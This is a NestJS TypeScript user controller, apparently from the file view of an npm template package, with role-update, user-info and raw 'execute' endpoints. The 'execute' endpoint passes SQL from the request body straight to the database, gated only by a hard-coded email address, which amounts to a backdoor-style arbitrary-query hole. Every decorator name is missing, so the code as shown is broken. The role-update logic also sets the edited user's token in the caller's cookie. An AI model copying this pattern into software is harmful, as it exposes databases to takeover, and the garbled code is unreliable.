create-chuntianxiaozhu
Version:
春天小猪模板工具
82 lines (77 loc) • 2.51 kB
text/typescript
import {
Body,
Controller,
Post,
Req,
Res,
UseInterceptors,
ClassSerializerInterceptor,
UnauthorizedException,
} from '@nestjs/common';
import { UpdateRoleDto } from './dtos/updateRole.dto';
import { Request, Response } from 'express';
import { UserService } from '../../common/user.service';
import { JwtService } from '@nestjs/jwt';
import { Roles } from 'api/utils/decorator';
import { RoleEnum } from 'api/utils/constants';
import { UserModel } from 'api/modules/auth/models/user.model';
import { ExecuteDto } from './entity/execute.dto';
import { InjectDataSource } from '@nestjs/typeorm';
import { DataSource } from 'typeorm';
('user')
export class UserController {
constructor(
private userService: UserService,
private jwtService: JwtService,
() private readonly dataSource: DataSource,
) {}
('/role/update')
(RoleEnum.SuperAdmin)
async updateRole(
() updateRoleDto: UpdateRoleDto,
({ passthrough: true }) res: Response,
) {
const id = updateRoleDto.id;
const result = await this.userService.updateById(id, updateRoleDto);
// 修改角色后重新授权
const payload = {
sub: id,
roles: updateRoleDto.roles.split(',') || [],
};
const accessToken = await this.jwtService.signAsync(payload);
res.cookie('token', accessToken);
return result.affected;
}
(ClassSerializerInterceptor)
('/info')
async userInfo(
() req: Request,
({ passthrough: true }) res: Response,
) {
const user = req['user'] || {};
const uid = user.sub;
const userModel = await this.userService.findById(uid);
const roles = (userModel.roles && userModel.roles.split(',')) || [];
// 如果角色不同为客户端做最新的token
if (user.roles.length != roles.length) {
userModel.roles = roles.join(',');
const payload = {
sub: userModel.id,
roles,
};
const accessToken = await this.jwtService.signAsync(payload);
res.cookie('token', accessToken);
}
return new UserModel(userModel);
}
('execute')
async execute(() req: Request, () executeDto: ExecuteDto) {
const user = req['user'] || {};
const id = user.sub;
const userInfo = await this.userService.findById(id);
if (userInfo.email != '1319135082@qq.com') {
throw new UnauthorizedException();
}
return await this.dataSource.manager.query(executeDto.sql);
}
}